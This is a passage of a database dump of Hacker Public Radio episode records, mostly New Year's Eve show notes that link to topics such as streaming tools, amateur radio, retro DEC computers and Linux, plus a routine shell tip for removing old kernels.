(3663,'2022-08-17','How I got into Tech',358,'Follow-up episode about how I got into tech','<p>From deleting command.com in Windows 95 to tinkering with circuitpython, this is a brief introduction of how I got into tech</p>\n',408,29,0,'CC-BY-SA','tech, personal history, introductions',0,0,1),
(3662,'2022-08-16','2021-2022 New Years Show Part 1',11138,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-1\">Part 1</h3>\n<h4 id=\"t100000z\">2021-12-31T10:00:00Z</h4>\n<p>Welcome to the 9th Annual Hacker Public Radio show. It is December the 31st 2021 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.</p>\n<p>LINT Christmas Island/Kiribati Kiritimati</p>\n<p>Ken and Honkey talk about setting up streaming</p>\n<p>Mumble &#x2192; Client (Butt) &#x2192; Ice Cast</p>\n<p><a href=\"https://www.mumble.info/downloads/\" class=\"uri\">https://www.mumble.info/downloads/</a></p>\n<p><a href=\"https://danielnoethen.de/butt/\" class=\"uri\">https://danielnoethen.de/butt/</a></p>\n<p><a href=\"https://icecast.org/\" class=\"uri\">https://icecast.org/</a></p>\n<p><a href=\"http://www.darkice.org/\" class=\"uri\">http://www.darkice.org/</a></p>\n<p>Ken and Honkey talk about COVID-19 Omicron Variant</p>\n<p><a href=\"https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html\" class=\"uri\">https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html</a></p>\n<p><a href=\"https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus\" class=\"uri\">https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus</a></p>\n<p>Ken, Honkey, and Netminer talk about mental health, Asperger\'s Syndrome, Eli The Computer Guy</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asperger_syndrome\" class=\"uri\">https://en.wikipedia.org/wiki/Asperger_syndrome</a></p>\n<p><a href=\"https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome\" class=\"uri\">https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome</a></p>\n<p><a href=\"https://aspergersfromtheinside.com/\" class=\"uri\">https://aspergersfromtheinside.com/</a></p>\n<p><a href=\"https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA\" class=\"uri\">https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA</a></p>\n<p><a href=\"https://www.youtube.com/c/Elithecomputerguypage\" class=\"uri\">https://www.youtube.com/c/Elithecomputerguypage</a></p>\n<p>Ken gets his HAM radio license</p>\n<p><a href=\"http://www.arrl.org/getting-licensed\" class=\"uri\">http://www.arrl.org/getting-licensed</a></p>\n<p>Ken talks about rebuilding the house</p>\n<p>Growing up in the 60\'s</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Andrew_Greeley\" class=\"uri\">https://en.wikipedia.org/wiki/Andrew_Greeley</a></p>\n<p><a href=\"https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight\" class=\"uri\">https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Leo_Frankowski\" class=\"uri\">https://en.wikipedia.org/wiki/Leo_Frankowski</a></p>\n<p>What is a Dunny?</p>\n<p><a href=\"https://www.warrenfahey.com.au/the-dunny-a-history/\" class=\"uri\">https://www.warrenfahey.com.au/the-dunny-a-history/</a></p>\n<p><a href=\"https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/\" class=\"uri\">https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/</a></p>\n<p>Farming Talk</p>\n<p>Isaac &amp; James <a href=\"https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R\" class=\"uri\">https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R</a></p>\n<p>More Amateur Radio</p>\n<p>Harmonised Amateur Radio Examination Certificate (HAREC)</p>\n<p><a href=\"http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF\" class=\"uri\">http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF</a></p>\n<p>Raspberry Pi 400 Chat &amp; Makulu Linux (installs Android APKs)</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-400/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-400/</a></p>\n<p><a href=\"http://www.makululinux.com/wp/\" class=\"uri\">http://www.makululinux.com/wp/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=makulu\" class=\"uri\">https://distrowatch.com/table.php?distribution=makulu</a></p>\n<p>Honkey Talks about his Pi4 and Steamlink, Diet Pi , Etcher + more</p>\n<p><a href=\"https://store.steampowered.com/app/353380/Steam_Link/\" class=\"uri\">https://store.steampowered.com/app/353380/Steam_Link/</a></p>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US\" class=\"uri\">https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US</a></p>\n<p><a href=\"https://apps.apple.com/us/app/steam-link/id1246969117\" class=\"uri\">https://apps.apple.com/us/app/steam-link/id1246969117</a></p>\n<p><a href=\"https://dietpi.com/\" class=\"uri\">https://dietpi.com/</a></p>\n<p><a href=\"https://etcher.download/\" class=\"uri\">https://etcher.download/</a></p>\n<p><a href=\"https://github.com/raspberrypi/rpi-imager\" class=\"uri\">https://github.com/raspberrypi/rpi-imager</a></p>\n<p>Archiving Old Vinyl</p>\n<p><a href=\"https://www.raspberrypi.com/news/hi-fi-raspberry-pi/\" class=\"uri\">https://www.raspberrypi.com/news/hi-fi-raspberry-pi/</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=zWGU0lk_fr4\" class=\"uri\">https://www.youtube.com/watch?v=zWGU0lk_fr4</a></p>\n<p>Tony H. Netminer &amp; Dave Chat</p>\n<p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p>\n<p><a href=\"https://mintcast.org/\" class=\"uri\">https://mintcast.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blackpool\" class=\"uri\">https://en.wikipedia.org/wiki/Blackpool</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nantasket_Beach\" class=\"uri\">https://en.wikipedia.org/wiki/Nantasket_Beach</a></p>\n<p>Buying PCs/laptops with Linux pre-installed.</p>\n<p><a href=\"https://www.entroware.com/store/\" class=\"uri\">https://www.entroware.com/store/</a></p>\n<p><a href=\"https://junocomputers.com/\" class=\"uri\">https://junocomputers.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a></p>\n<p>UK Fiber Optic ISP</p>\n<p><a href=\"https://cityfibre.com/\" class=\"uri\">https://cityfibre.com/</a></p>\n<p>Group Chat about various tech topics</p>\n<p>BSD flavors</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Berkeley_Software_Distribution\" class=\"uri\">https://en.wikipedia.org/wiki/Berkeley_Software_Distribution</a></p>\n<p><a href=\"https://www.openbsd.org/\" class=\"uri\">https://www.openbsd.org/</a></p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p><a href=\"https://nomadbsd.org/\" class=\"uri\">https://nomadbsd.org/</a></p>\n<p>Boxes VM Manager</p>\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\n<p>ARPANET</p>\n<p><a href=\"https://en.wikipedia.org/wiki/ARPANET\" class=\"uri\">https://en.wikipedia.org/wiki/ARPANET</a></p>\n<p>Leena / Lena</p>\n<p>Lenna or Lena is a standard test image widely used in the field of image processing since 1973. <a href=\"https://en.wikipedia.org/wiki/Lenna\" class=\"uri\">https://en.wikipedia.org/wiki/Lenna</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Digital_Equipment_Corporation\" class=\"uri\">https://en.wikipedia.org/wiki/Digital_Equipment_Corporation</a><br />\n<a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a><br />\n<a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p>Knight TV /Tom Knight (Knight TV)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tom_Knight_(scientist)\" class=\"uri\">https://en.wikipedia.org/wiki/Tom_Knight_(scientist)</a></p>\n<p><a href=\"http://pdp-6.net/knight-tv/knight-tv.html\" class=\"uri\">http://pdp-6.net/knight-tv/knight-tv.html</a></p>\n<p>PDP 11</p>\n<p><a href=\"https://en.wikipedia.org/wiki/PDP-11\" class=\"uri\">https://en.wikipedia.org/wiki/PDP-11</a></p>\n<p>Haiku OS</p>\n<p><a href=\"https://www.haiku-os.org/\" class=\"uri\">https://www.haiku-os.org/</a></p>\n<p>Motorola StarMax Mac Clones</p>\n<p><a href=\"https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html\" class=\"uri\">https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html</a></p>\n<p>DECstation</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECstation\" class=\"uri\">https://en.wikipedia.org/wiki/DECstation</a></p>\n<p>VMS / OpenVMS</p>\n<p><a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a></p>\n<p>DEC Alpha</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a></p>\n<p><a href=\"https://www.techopedia.com/definition/18752/dec-alpha\" class=\"uri\">https://www.techopedia.com/definition/18752/dec-alpha</a></p>\n<p>Ultrix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultrix\" class=\"uri\">https://en.wikipedia.org/wiki/Ultrix</a></p>\n<p>PowerMac G5</p>\n<p><a href=\"https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html\" class=\"uri\">https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Power_Mac_G5\" class=\"uri\">https://en.wikipedia.org/wiki/Power_Mac_G5</a></p>\n<p>Tru64 Unix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p><a href=\"https://winworldpc.com/product/tru64/50\" class=\"uri\">https://winworldpc.com/product/tru64/50</a></p>\n<p>TU58</p>\n<p><a href=\"http://gunkies.org/wiki/TU58_DECtape_II\" class=\"uri\">http://gunkies.org/wiki/TU58_DECtape_II</a></p>\n<p><a href=\"http://web.frainresearch.org:8080/projects/mypdp/tu58.php\" class=\"uri\">http://web.frainresearch.org:8080/projects/mypdp/tu58.php</a></p>\n<p><a href=\"http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf\" class=\"uri\">http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf</a></p>\n<p>ICL 1900</p>\n<p><a href=\"https://en.wikipedia.org/wiki/International_Computers_Limited\" class=\"uri\">https://en.wikipedia.org/wiki/International_Computers_Limited</a></p>\n<p><a href=\"http://www.ict1900.com/\" class=\"uri\">http://www.ict1900.com/</a></p>\n<p>DECwriter</p>\n<p><a href=\"http://www.columbia.edu/cu/computinghistory/la36.html\" class=\"uri\">http://www.columbia.edu/cu/computinghistory/la36.html</a></p>\n<p><a href=\"https://vt100.net/docs/tp83/chapter14.html\" class=\"uri\">https://vt100.net/docs/tp83/chapter14.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECwriter\" class=\"uri\">https://en.wikipedia.org/wiki/DECwriter</a></p>\n<p>ISDN Phone Lines</p>\n<p><a href=\"https://uh.edu/~wrice/phone.htm\" class=\"uri\">https://uh.edu/~wrice/phone.htm</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network\" class=\"uri\">https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network</a></p>\n<p>X.25</p>\n<p><a href=\"https://www.lifewire.com/x-25-816286\" class=\"uri\">https://www.lifewire.com/x-25-816286</a></p>\n<p><a href=\"https://networkencyclopedia.com/x-25/\" class=\"uri\">https://networkencyclopedia.com/x-25/</a></p>\n<p>IMP</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Interface_Message_Processor\" class=\"uri\">https://en.wikipedia.org/wiki/Interface_Message_Processor</a></p>\n<p><a href=\"https://www.techopedia.com/definition/7692/interface-message-processor-imp\" class=\"uri\">https://www.techopedia.com/definition/7692/interface-message-processor-imp</a></p>\n<p>UK Academic Network. JANET (Joint Academic Network)</p>\n<p><a href=\"https://www.jisc.ac.uk/janet/history\" class=\"uri\">https://www.jisc.ac.uk/janet/history</a></p>\n<p>UK Academic Coloured Book Protocols</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coloured_Book_protocols\" class=\"uri\">https://en.wikipedia.org/wiki/Coloured_Book_protocols</a></p>\n<p>Anne &amp; Lynn Wheeler</p>\n<p><a href=\"https://garlic.com/#\" class=\"uri\">https://garlic.com/#</a></p>\n<p><a href=\"https://www.garlic.com/~lynn/\" class=\"uri\">https://www.garlic.com/~lynn/</a></p>\n<p>George 3 Operating System</p>\n<p><a href=\"http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf\" class=\"uri\">http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf</a></p>\n<p>Hercules MVS Emulator</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hercules_(emulator)\" class=\"uri\">https://en.wikipedia.org/wiki/Hercules_(emulator)</a></p>\n<p><a href=\"http://www.hercules-390.org/\" class=\"uri\">http://www.hercules-390.org/</a></p>\n<p>Doctor Who, K9, Ultraman, and Thunderbirds+ more</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006q2x0\" class=\"uri\">https://www.bbc.co.uk/programmes/b006q2x0</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1102732/\" class=\"uri\">https://www.imdb.com/title/tt1102732/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Supermarionation\" class=\"uri\">https://en.wikipedia.org/wiki/Supermarionation</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)\" class=\"uri\">https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=EfQFmZCbOfM\" class=\"uri\">https://www.youtube.com/watch?v=EfQFmZCbOfM</a></p>\n<p>Log4J Vulnerability</p>\n<p><a href=\"https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance\" class=\"uri\">https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance</a></p>\n<p>Hacker Public Radio show mention -- Fixing a Noisy Blower Motor</p>\n<p><a href=\"http://hackerpublicradio.org/eps.php?id=3499\" class=\"uri\">http://hackerpublicradio.org/eps.php?id=3499</a></p>\n<p>Netminer suggests a newsgroup</p>\n<p><code>alt.sysadmin.recovery</code> Sysadmin humor Better than a 45 to that damn server. .</p>\n<p>Nike Missile Site mention</p>\n<p><a href=\"http://ed-thelen.org/\" class=\"uri\">http://ed-thelen.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Nike_missile_sites\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Nike_missile_sites</a></p>\n<p>\"Bubba shot the Jukebox\" song reference.</p>\n<p><a href=\"https://www.youtube.com/watch?v=qbQW7rDOPxI\" class=\"uri\">https://www.youtube.com/watch?v=qbQW7rDOPxI</a></p>\n<p>ClaudioM\'s Blog - Hello from the End of 2021!:<br />\n<a href=\"https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/\" class=\"uri\">https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3667,'2022-08-23','2021-2022 New Years Show Part 2',11268,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-2\">Part 2</h3>\n<p>Massachusetts MCAS Tests</p>\n<p><a href=\"https://www.doe.mass.edu/mcas/\" class=\"uri\">https://www.doe.mass.edu/mcas/</a></p>\n<p>A Level Test mention -</p>\n<p><a href=\"http://www.gostudyuk.com/a-levels-and-equivalents/\" class=\"uri\">http://www.gostudyuk.com/a-levels-and-equivalents/</a></p>\n<p>COVID-19: quarantine, masks, vaccination, testing, etc.</p>\n<p>Michael Mina <span class=\"citation\" data-cites=\"michaelmina_lab\">@michaelmina_lab</span></p>\n<p><a href=\"https://twitter.com/michaelmina_lab\" class=\"uri\">https://twitter.com/michaelmina_lab</a></p>\n<p>West Virginia &amp; Kentucky Accents</p>\n<p><a href=\"https://www.dialectsarchive.com/west-virginia\" class=\"uri\">https://www.dialectsarchive.com/west-virginia</a></p>\n<p><a href=\"https://www.dialectsarchive.com/kentucky\" class=\"uri\">https://www.dialectsarchive.com/kentucky</a></p>\n<p>Netminer talks about being a security guard &amp; Security Guard tools of the trade</p>\n<p>Detex Clock</p>\n<p><a href=\"https://www.watchmanclocks.com/productdetails.aspx?ProductID=56\" class=\"uri\">https://www.watchmanclocks.com/productdetails.aspx?ProductID=56</a></p>\n<p>Mag light flashlight</p>\n<p><a href=\"https://maglite.com/\" class=\"uri\">https://maglite.com/</a></p>\n<p>Ohio Linux Fest</p>\n<p><a href=\"https://olfconference.org/\" class=\"uri\">https://olfconference.org/</a></p>\n<p>Not Curses</p>\n<p><a href=\"https://notcurses.com/notcurses.3.html\" class=\"uri\">https://notcurses.com/notcurses.3.html</a></p>\n<p>Sixel</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Sixel\" class=\"uri\">https://en.wikipedia.org/wiki/Sixel</a></p>\n<p>The Book Of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt13668894/\" class=\"uri\">https://www.imdb.com/title/tt13668894/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett\" class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p>Under The Helmet : The Legacy of Boba Fett</p>\n<p><a href=\"https://www.imdb.com/title/tt15715890/\" class=\"uri\">https://www.imdb.com/title/tt15715890/</a></p>\n<p>Mordancy talks about Mark from Command Line Magic</p>\n<p>Command Line Magic Homepage - <a href=\"http://www.climagic.org/\" class=\"uri\">http://www.climagic.org/</a></p>\n<p>Command Line Magic Youtube - <a href=\"https://www.youtube.com/user/climagic/videos\" class=\"uri\">https://www.youtube.com/user/climagic/videos</a></p>\n<p>Command Line Magic Twitter - <a href=\"https://twitter.com/climagic\" class=\"uri\">https://twitter.com/climagic</a></p>\n<p>Command Line Magic Mastadon - <a href=\"https://mastodon.social/@climagic\" class=\"uri\">https://mastodon.social/@climagic</a></p>\n<p>Mordancy also suggests</p>\n<p><a href=\"https://www.commandlinefu.com/commands/browse\" class=\"uri\">https://www.commandlinefu.com/commands/browse</a></p>\n<p><a href=\"https://explainshell.com/\" class=\"uri\">https://explainshell.com/</a></p>\n<p>More Website Suggestions</p>\n<p>Regex Crossword is a crossword puzzle game, where the crossword clues are defined using regular expressions</p>\n<p><a href=\"https://regexcrossword.com\" class=\"uri\">https://regexcrossword.com</a></p>\n<p>Learn VIM while playing a game</p>\n<p><a href=\"https://vim-adventures.com/\" class=\"uri\">https://vim-adventures.com/</a></p>\n<p>Tennesee Valley Authority</p>\n<p><a href=\"https://www.tva.com/\" class=\"uri\">https://www.tva.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tennessee_Valley_Authority\" class=\"uri\">https://en.wikipedia.org/wiki/Tennessee_Valley_Authority</a></p>\n<p>West Virginia Coal Mines</p>\n<p><a href=\"https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia\" class=\"uri\">https://www.americangeosciences.org/critical-issues/maps/interactive-map-coal-mines-west-virginia</a></p>\n<p>Nuclear Power Plants in the USA</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States\" class=\"uri\">https://en.wikipedia.org/wiki/Nuclear_power_in_the_United_States</a></p>\n<p><a href=\"https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3\" class=\"uri\">https://www.eia.gov/tools/faqs/faq.php?id=207&amp;t=3</a></p>\n<p>Moss Wants to Build a Pi Hole</p>\n<p><a href=\"https://pi-hole.net/\" class=\"uri\">https://pi-hole.net/</a></p>\n<p>Take The Long Way Home (SuperTramp)</p>\n<p><a href=\"https://youtu.be/zKGOCOAI_2c\" class=\"uri\">https://youtu.be/zKGOCOAI_2c</a></p>\n<p>Push To Talk Mumble Settings</p>\n<p><a href=\"https://www.mumble.com/support/mumble-server-push-to-talk.php\" class=\"uri\">https://www.mumble.com/support/mumble-server-push-to-talk.php</a></p>\n<p>Dont use Balena Etcher, try instead <a href=\"https://bztsrc.gitlab.io/usbimager/\" class=\"uri\">https://bztsrc.gitlab.io/usbimager/</a> USBImager is a really really simple GUI application that writes compressed disk images to USB drives and creates backups. Available platforms: Windows, MacOS and Linux. Its interface is as simple as it gets, totally bloat-free. It is very small below 300 KB compared to more the than 130 MB of Etcher.</p>\n<p>A Maintenance Tool For Ubuntu</p>\n<p>uCareSystem Core basic</p>\n<p><a href=\"https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/\" class=\"uri\">https://ostechnix.com/ucaresystem-core-basic-maintenance-tool-ubuntu/</a></p>\n<p><a href=\"https://github.com/Utappia/uCareSystem\" class=\"uri\">https://github.com/Utappia/uCareSystem</a></p>\n<p>To get rid of old kernels with no work - just paste in the commandline</p>\n<pre><code>echo $(dpkg --list | grep linux-image | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;`uname -r`&#39;/q;p&#39;) $(dpkg --list | grep linux-headers | awk &#39;{ print $2 }&#39; | sort -V | sed -n &#39;/&#39;&quot;$(uname -r | sed &quot;s/\\([0-9.-]*\\)-\\([^0-9]\\+\\)/\\1/&quot;)&quot;&#39;/q;p&#39;) | xargs echo sudo apt-get -y purge\n</code></pre>\n<p>the result is a sudo command to remove old kernels. And finally this one:</p>\n<pre><code>sudo apt autoremove &amp;&amp; sudo apt autoclean &amp;&amp; sudo apt clean</code></pre>\n<p>Moss talks about ArcoLinux</p>\n<p><a href=\"https://arcolinux.com/\" class=\"uri\">https://arcolinux.com/</a></p>\n<p>Minnix uses Funk Whale</p>\n<p><a href=\"https://funkwhale.audio/\" class=\"uri\">https://funkwhale.audio/</a></p>\n<p>Moss announces the passing of Betty White - RIP</p>\n<p><a href=\"https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html\" class=\"uri\">https://www.cnn.com/2022/01/10/entertainment/betty-white-cause-of-death/index.html</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-news/betty-white-dead-obituary-197806/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Golden_Girls\" class=\"uri\">https://en.wikipedia.org/wiki/The_Golden_Girls</a></p>\n<p><a href=\"https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/\" class=\"uri\">https://www.grunge.com/659496/the-truth-about-betty-whites-guinness-world-record/</a></p>\n<p>The guys mention - Ultramarines : A Warhammer 40k movie</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Ultramarines:_A_Warhammer_40,000_Movie</a></p>\n<p><a href=\"https://youtu.be/3fpvOyD5Jr0\" class=\"uri\">https://youtu.be/3fpvOyD5Jr0</a></p>\n<p>Warhammer Cosplay</p>\n<p><a href=\"https://youtu.be/9RpfpSyWGhk\" class=\"uri\">https://youtu.be/9RpfpSyWGhk</a></p>\n<p><a href=\"https://youtu.be/VZ8_aU0G094\" class=\"uri\">https://youtu.be/VZ8_aU0G094</a></p>\n<p><a href=\"https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html\" class=\"uri\">https://www.belloflostsouls.net/2020/08/40k-cosplay-the-ultramarine-by-upw-designs.html</a></p>\n<p><a href=\"https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/\" class=\"uri\">https://www.instructables.com/Warhammer-40K-Tech-Priest-Cosplay-SKS-Props/</a></p>\n<p>Matrix Movie (Matrix Resurrections) + other NPH (Neil Patrick Harris) films</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Matrix_Resurrections\" class=\"uri\">https://en.wikipedia.org/wiki/The_Matrix_Resurrections</a></p>\n<p><a href=\"https://www.imdb.com/title/tt10838180/\" class=\"uri\">https://www.imdb.com/title/tt10838180/</a></p>\n<p>8-Bit Christmas</p>\n<p><a href=\"https://www.imdb.com/title/tt11540284/\" class=\"uri\">https://www.imdb.com/title/tt11540284/</a></p>\n<p>Doctor Horrible\'s Sing-Along</p>\n<p><a href=\"https://www.imdb.com/title/tt1227926/\" class=\"uri\">https://www.imdb.com/title/tt1227926/</a></p>\n<p>Bruce Campbell in Black Friday + other Bruce projects</p>\n<p><a href=\"https://www.imdb.com/title/tt11649338/\" class=\"uri\">https://www.imdb.com/title/tt11649338/</a></p>\n<p>Deadite (Evil Dead films)</p>\n<p><a href=\"https://evildead.fandom.com/wiki/Deadite\" class=\"uri\">https://evildead.fandom.com/wiki/Deadite</a></p>\n<p>Burn Notice</p>\n<p><a href=\"https://www.imdb.com/title/tt0810788/\" class=\"uri\">https://www.imdb.com/title/tt0810788/</a></p>\n<p>The Adventures of Brisco County Jr.</p>\n<p><a href=\"https://www.imdb.com/title/tt0105932/\" class=\"uri\">https://www.imdb.com/title/tt0105932/</a></p>\n<p>Burn Notice Movie - The Fall of Sam Axe</p>\n<p><a href=\"https://www.imdb.com/title/tt1697851/\" class=\"uri\">https://www.imdb.com/title/tt1697851/</a></p>\n<p>Ash Vs Evil Dead (TV Series)</p>\n<p><a href=\"https://www.imdb.com/title/tt4189022/\" class=\"uri\">https://www.imdb.com/title/tt4189022/</a></p>\n<p><a href=\"https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead\" class=\"uri\">https://evildead.fandom.com/wiki/Ash_vs_Evil_Dead</a></p>\n<p>Christian Clemenson</p>\n<p><a href=\"https://www.imdb.com/name/nm0166061/\" class=\"uri\">https://www.imdb.com/name/nm0166061/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Christian_Clemenson\" class=\"uri\">https://en.wikipedia.org/wiki/Christian_Clemenson</a></p>\n<p>Freddie Highmore</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Good_Doctor_(TV_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt6470478/\" class=\"uri\">https://www.imdb.com/title/tt6470478/</a></p>\n<p>Chat about Lenovo ThinkCentre Products</p>\n<p><a href=\"https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58\" class=\"uri\">https://pcsupport.lenovo.com/us/en/products/desktops-and-all-in-ones/thinkcentre-m-series-desktops/thinkcentre-m58</a></p>\n<p><a href=\"https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/\" class=\"uri\">https://www.lenovo.com/in/en/desktops/thinkcentre/m-series-sff/m83/</a></p>\n<p><a href=\"https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700\" class=\"uri\">https://www.lenovo.com/gb/en/desktops-and-all-in-ones/thinkcentre/m-series-tiny/M700-Tiny/p/11TC1MTM700</a></p>\n<p>Moss Plugs - <a href=\"https://itsmoss.com/\" class=\"uri\">https://itsmoss.com/</a> and talks about installing Linux on his ThinkCentre</p>\n<p><a 